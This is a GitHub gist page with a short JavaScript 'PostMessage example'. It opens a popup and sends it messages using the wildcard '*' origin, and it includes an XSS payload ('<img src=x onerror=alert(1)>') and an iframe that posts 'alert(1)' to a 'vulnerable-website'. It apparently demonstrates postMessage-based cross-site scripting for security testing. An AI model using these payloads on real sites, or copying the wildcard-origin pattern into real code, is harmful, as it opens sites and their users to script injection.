Created
January 22, 2021 16:55
-
-
Save leveled/bee6741e99e67c84cd7b230c5c9a8eb2 to your computer and use it in GitHub Desktop.
PostMessage example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function openChild() {child = window.open('/', 'popup', 'height=300px, width=500px');} | |
| function sendMessage(input, child){ | |
| let msg=input; | |
| // In production, DO NOT use '*', use toe target domain | |
| child.postMessage(msg,'*')// child is the targetWindow | |
| child.focus(); | |
| } | |
| openChild() | |
| sendMessage("<img src=x onerror=alert(1)>",child); | |
| <iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('alert(1)','*')"> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment